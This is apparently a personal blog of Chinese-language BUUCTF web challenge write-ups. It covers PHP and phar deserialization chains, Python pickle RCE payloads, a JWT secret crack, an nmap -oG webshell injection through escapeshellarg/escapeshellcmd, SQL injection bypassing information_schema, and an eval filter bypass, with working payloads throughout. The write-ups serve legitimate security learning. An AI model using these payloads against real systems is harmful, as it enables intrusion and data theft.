emmmm,学习是要学习的,该记录的也得记录,,
就记录一下最近在BUUCTF上刷的题目吧,只求扩展一下自己的知识面,,,
进入页面得到一个登录页面和help页面:
help页面有一个filename的参数,不过貌似没什么用,,,,
尝试登陆!!!跑一下弱密码,账户:admin
,得到弱密码admin888
登陆进去发现提示flag不在这里,,,
然后找了半天,没找到任何东西,,,源码也没有什么,,,
回到help页面,,,filename参数不论传入什么都不起作用,,,,
换一种参数进行尝试,发现要POST传递一个filename时才能有文件内容显示,否则报一个500错误:
根据报错信息我们可以得知服务器类型以及版本信息:Apache Tomcat/8.5.24
一般用java做过网站的都知道有一个WEB-INF目录,,,它是java的web应用的安全目录,包含以下目录及文件:
/WEB-INF/web.xml: Web应用程序的配置文件
/WEB-INF/classes/: 包含站点所有的class文件
/WEB-INF/lib/: 存放需要的jar文件
/WEB-INF/src/: 源码目录
/WEB-INF/database.properties: 数据库配置文件
我们尝试读取配置文件,web.xml:
发现一个疑似flag存放的目录,,,
进行读取,发现一串base64的字符串:
进行解码得到flag:
emmmm,这能说这道题目是真的坑,,,,
首先你的了解java搭建的目录结构,其次还有传递方式的转变!
所以web真的太难了啊!!!!!!
打开页面是一个登录页面,还有一个可爱的小猫,,,越看越有意思,,,
尝试登陆,失败,,,,,查看源码,,,,无果
查看robots.txt没有,发现存在源码泄露,,www.zip,下载下来可看见文件目录:
看到class.php就感觉存在序列化,,,,都查看一下源码
class.php中基本都是数据库增加修改语句,,,发现存在过滤函数:
config.php中应该是存放着flag:
发现profile.php中存在文件读取,还有反序列化:
到这里我们应该知道要做啥了,就是需要我们通过这里来进行读取config.php中的内容
不过我们该如何控制$profile[‘photo’]中的内容为config.php呢???
再看看update.php中内容:
发现在这里我们好像能够控制$profile[‘photo’]中的内容!!!
其实这道题目是利用php反序列化长度变化尾部字符串逃逸漏洞,,,,
首先来看看反序列化的规则,构造如下代码:
$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:0:"";s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);
输出结果:
array(4) {
["phone"]=>
string(5) "admin"
["email"]=>
string(10) "[email protected]"
["nickname"]=>
string(0) ""
["photo"]=>
string(10) "config.php"
}
会发现;}
之后的都没有起作用!!而且还有一点,,,
PHP反序列化中值的字符读取多少其实是由表示长度的数字控制的
只要整个字符串的前一部分能够成功反序列化,那么就能够序列化成功!!!
如下代码:
$b = 'a:2:{i:0;s:5:"phone";i:1;s:8:"admin123";}123"}';
$a = unserialize($b);
var_dump($a);
输出结果:
array(2) {
[0]=>
string(5) "phone"
[1]=>
string(8) "admin123"
}
知道这些东西就好办了呀,我们可以构造nickname为数组,然后我们再构造photo为:";}s:5:"photo";s:10:"config.php";}
这样我们所构造的payload就变成了如下:
$b = 'a:4:{s:5:"phone";s:5:"admin";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/202cb962ac59075b964b07152d234b70";}';
$a = unserialize($b);
var_dump($a);
输出结果:
array(4) {
["phone"]=>
string(5) "admin"
["email"]=>
string(10) "[email protected]"
["nickname"]=>
array(1) {
[0]=>
string(0) ""
}
["photo"]=>
string(10) "config.php"
}
可以清楚看见photo变成了config.php!!!而且nickname变成数组还可以绕过如下过滤:
但是我们传输的时候长度是不变的怎么办??其实我们可以看见class.php中的那里会把where变成hacker
这样我们就可以多一个字符出来利用!!构造34个where,刚好可以把";}s:5:"photo";s:10:"config.php";}
挤出来
使之能够执行!!!到这里就可以去做题目了!!!!
已知有个注册页面,先注册一个用户,,注册完需要我们更新信息,,,直接抓包:
然后直接构造:
之后访问profile.php可以看见:
解码得到flag:
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{9ce293cc-273b-4d97-ba44-036a5cde57e0}';
?>
打开页面需要登陆,OK,先注册一个直接登陆,发现有个文件上传:
尝试上传shell,上传成功但是没有显示,而且路径也不知道:
上传图片有显示,,,,,还有个删除和下载,删除就直接删除了,下载就是直接下载文件,,,,
下载文件直接抓包!!发现存在任意文件下载:
把能下载的文件全部都下载下来看看,,,,
class.php:
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '. htmlentities($filename) . '">涓嬭浇 / 鍒犻櫎 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
delete.php:
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
还看了下upload.php:
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
emmmmm,还是不知道路径,,,,不抱希望上传能够成功了,,,,
看了题目有个提示phar,,,利用 phar 拓展 php 反序列化漏洞攻击面
看了看class.php,发现File类有个文件包含:
在User类中调用了该方法:
不过可以看见这里没有显示,就算获取到了文件内容也看不见文件内容,,,,
再看看FileList类:
有个__call魔术方法,还有__destruct魔术方法,__destruct魔术方法中会打印内容,关键是调用__call魔术方法
__call魔术方法触发时机:把对象当作函数调用的时候自动触发!!!
所以我们就可以构造一个完整的利用链:
让$this->db = new FileList(),让它调用close,然后它会调用__call(),最后调用 __destruct()函数就会打印出结果!!
phar内容:
class User{
public $db;
}
class File{
public $filename;
}
class FileList{
private $files;
public function __construct(){
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("");
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>
运行PHP文件得到一个1.phar文件,(ps:这里的flag路径全靠猜,,,,)
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
将文件改名为1.jpg,进行上传,上传成功:
因为delete.php中有unlink,所以在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化:
点击删除时进行抓包,修改filename,得到flag:
BUUCTF WEB [CISCN2019 华北赛区 Day1 Web2]ikun
打开页面可以发现:
先注册一个用户名登录!!
然后找lv6,找了半天没找到,发现有500个页面,,,,
直接写脚本进行搜索:
import requests
url = "http://6bfa3315-d199-4531-bf0a-19cac97100fd.node3.buuoj.cn/shop?page="
for i in range(0,500):
urls = url + str(i)
f = requests.get(urls)
print(urls)
if "lv6.png" in f.text:
print(i)
break
得到结果:
太贵了呀,,,买不起!!!
抓包看看,发现有价格和折扣:
修改价格或者折扣为0发现都不行,,,,,将折扣修改为一个很小的数成功:
访问发现:
可以从之前的包中看见有JWT,,,,这里应该包含了用户名!!
用在线工具https://jwt.io/
解一下:
事实确实如此!包含了我们的用户名,我们得想办法把用户名变成admin,,,,
利用工具破解密钥:
git clone "https://github.com/brendan-rius/c-jwt-cracker"
apt-get install libssl-dev
make
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
然后抓包修改JWT,得到:
访问,下载源码:
发现是python搭的网站,自闭,python代码审计,,,这谁顶得住啊!!!!
看到setting.py中有admin的密码,还有个hint,,,
说明在买lv6那里有问题,,,,,,
最后找到了那个页面,,,,,
可以看见有一个反序列化,,,,,become,,,我们抓包也可以看见:
Python反序列化漏洞的花式利用
照着大佬的脚本写了一个:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import pickle
import urllib
class test(object):
def __reduce__(self):
return (os.system,('cat /flag.txt',))
payload=pickle.dumps(test())
payload=urllib.quote(payload)
print payload
输入之后发现没有回显,,,,,,
这到底是为什么????emmmm,原来没有导入os模块,都不能执行,,,,,沙雕,,,
这样写才会有显示:
import pickle
import urllib
class test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
payload=pickle.dumps(test())
payload=urllib.quote(payload)
print payload
得到payload:
payload:
become=c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
BUUCTF WEB [BUUCTF 2018]Online Tool
打开页面可以得到源码:
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
看见有两个没见过的函数:
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
而且会传入进行一个system命令执行!!!!估计就是要我们进行命令执行!!!
百度直接找这里两个函数,escapeshellarg:
escapeshellcmd:
两个一起搜找到一个漏洞:PHP escapeshellarg()+escapeshellcmd() 之殇
可以加个单引号进行测试一下:
$host = "ls' -l -a";
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo $host;
?>
运行结果:
'ls'\\'' -l -a\'
所以我们可以在我们要构造的恶意代码之前加个单引号就行!!!
可以看见执行的是nmap命令,所以我们需要使用-oG指令,-oG可以实现将命令和结果写到文件
payload:
' $_GET["cmd"]);?> -oG cmd.php '
然后进行利用get参数进行文件读取即可:
http://f4096665-98ba-47f6-a685-441d4e311931.node3.buuoj.cn/5baa675a135f7fedcf701db7408e614f/cmd.php?cmd=system(%22cat%20/flag%22);
BUUCTF WEB [ZJCTF 2019]NiZhuanSiWei
打开页面可以看见源码:
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
题目做的多了,看到(file_get_contents($text,'r')==="welcome to the zjctf")
就觉得利用php://input协议进行绕过
(好像还有一种data://text/plain协议可以绕过)
然后看见还有一个useless.php,有个include函数包含file参数,想到利用文件包含漏洞,,
直接进行抓包构造:
绕过成功,成功得到useless.php源码:
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
由于file参数过滤了flag,所以我们不能包含flag.php文件,只能另想他法,,
我们可以看见class类中存在文件读取!!!应该是要我们进行反序列化的利用,,,
是的存在反序列化!!!需要我们进行构造password参数,,,
编写php代码:
class Flag{
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
输出结果:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
BUUCTF WEB [SWPU2019]Web1
emmmm,想到SWPU这个比赛就心累,,,就做了几道misc,,,,怎么这么菜啊,
这道题是一道sql注入的题目,,,,注入点在广告标题,,,不过过滤了or,
非常严格,不能绕过,所以使得information.schema也不能使用
我们使用常规注入语句可以发现空格被过滤了,or在写入的时候就不能写入,,,
空格可以使用/**/绕过,,,经过尝试发现有22个列名,这时候不会报错:
发现2,3位置存在回显:
由于过滤了or所以常规的方法不起作用了,,,这道题的考点应该就是bypass information_schema
找到了一篇文件,关于bypass information_schema进行注入的:聊一聊bypass information_schema
schema_auto_increment_columns和schema_table_statistics_with_buffer
不过一般要超级管理员才可以访问sys,,,,
构造如下语句:
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到一个提示,这个不存在,看来是没有权限,,,:
之后无从下手,,,后面又找了一下wp,,,
在一个wp中看到了一个新的方法???利用mysql.innodb_table_stats
表!!
看看官方链接:mysql.innodb_table_stats是可以的!!
构造如下语句:
1'/**/union/**/select/**/1,((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
得到表名:
虽说我们得到了表名,,but我们不知到列名,,,这时候可以使用无列名注入,,,,
关于无列名注入可以看看这篇文章:不知道列名的情况下注入
这样我们就可以构造语句了!!经过尝试,flag在users表中,,,,:
1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
BUUCTF WEB [极客大挑战 2019]BuyFlag
难题做多了,来一道简单的题目吧,啊哈哈哈,即可没见过这道题,,
到payflag页面,发现有个源码和提示:
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number";
}elseif ($password == 404) {
echo "Password Right!";
}
}
根据提示我们进行构造,money不能写100000000否则会说太长了
构造的payload如下,得到flag:
BUUCTF WEB [CISCN 2019 初赛]Love Math
打开页面可以得到源代码:
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
代码审计,需要我们绕过构造函数读取flag,,,,
可以看见没有过滤$
符号,,不过其他字符都过滤了所以我们不能直接构造$_GET,[]
被过滤了我们可以使用{}
代替
想想看能不能构造类似于$_GET{1}($_GET{2})
的格式,由于过滤了字母,我们可以利用函数进行转变
base_convert()函数,10转36进制会出现26个字母!!
所以我们可以利用这个函数进行构造,,,虽说过滤了字母,但是函数名是可以当做变量进行传递的
传递?c=$abs
是不会报错的,所以我们可以看见里面最短的是pi和abs、cos、exp等
,
由于还存在下划线,所以我们还需要用到hex2bin()函数,,,
$f = "bin2hex";
$pi=$f("_GET");
echo $pi.'-----';
$pi = base_convert(37907361743,10,36);
echo $pi("5f474554");
?>
输出结果:
5f474554-----_GET
这样我们是能够得到_GET
的,不过16进制有字母,还是不行,需要利用dechex函数进行转换
$pi = base_convert(37907361743,10,36)(dechex(1598506324));
结果:_GET
所以我们就可以构造了!最后构造的payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs});
长度刚刚好80,,,,去掉最后的分号刚刚好,79,,,
直接进行flag读取即可!!!
其实这道题很多payload,比较可以构造的函数那么多,还可以利用getallheaders()函数进行http恶意参数构造,,
也可以直接构造system进行读取,不在过多说了,,,
你可能感兴趣的:(CTF题,BUUCTF)